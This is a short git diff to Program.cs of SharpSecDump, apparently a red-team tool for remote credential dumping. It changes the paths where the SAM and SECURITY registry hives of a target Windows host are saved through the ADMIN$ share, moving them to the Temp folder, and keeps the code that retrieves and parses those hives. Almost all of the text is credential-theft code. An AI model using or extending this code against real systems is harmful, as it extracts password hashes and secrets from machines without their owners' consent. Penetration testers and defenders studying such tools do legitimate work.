diff --git a/SharpSecDump/Program.cs b/SharpSecDump/Program.cs index 385e34a..accb874 100644 --- a/SharpSecDump/Program.cs +++ b/SharpSecDump/Program.cs @@ -125,8 +125,8 @@ private static void DoStuff(string singleTarget) }; //SAM dump stuff starts here - string samRemoteLocation = @"\\" + singleTarget + @"\ADMIN$\" + samOut; - if (remoteConnection.SaveRegKey("SAM", @"\Windows\" + samOut)) + string samRemoteLocation = @"\\" + singleTarget + @"\ADMIN$\Temp\" + samOut; + if (remoteConnection.SaveRegKey("SAM", @"\Windows\Temp\" + samOut)) { RegistryHive sam = remoteConnection.GetRemoteHiveDump(samRemoteLocation); if (sam != null) @@ -141,8 +141,8 @@ private static void DoStuff(string singleTarget) } //Security dump stuff starts here - string securityRemoteLocation = @"\\" + singleTarget + @"\ADMIN$\" + securityOut; - if (remoteConnection.SaveRegKey("SECURITY", @"\Windows\" + securityOut)) + string securityRemoteLocation = @"\\" + singleTarget + @"\ADMIN$\Temp\" + securityOut; + if (remoteConnection.SaveRegKey("SECURITY", @"\Windows\Temp\" + securityOut)) { RegistryHive security = remoteConnection.GetRemoteHiveDump(securityRemoteLocation);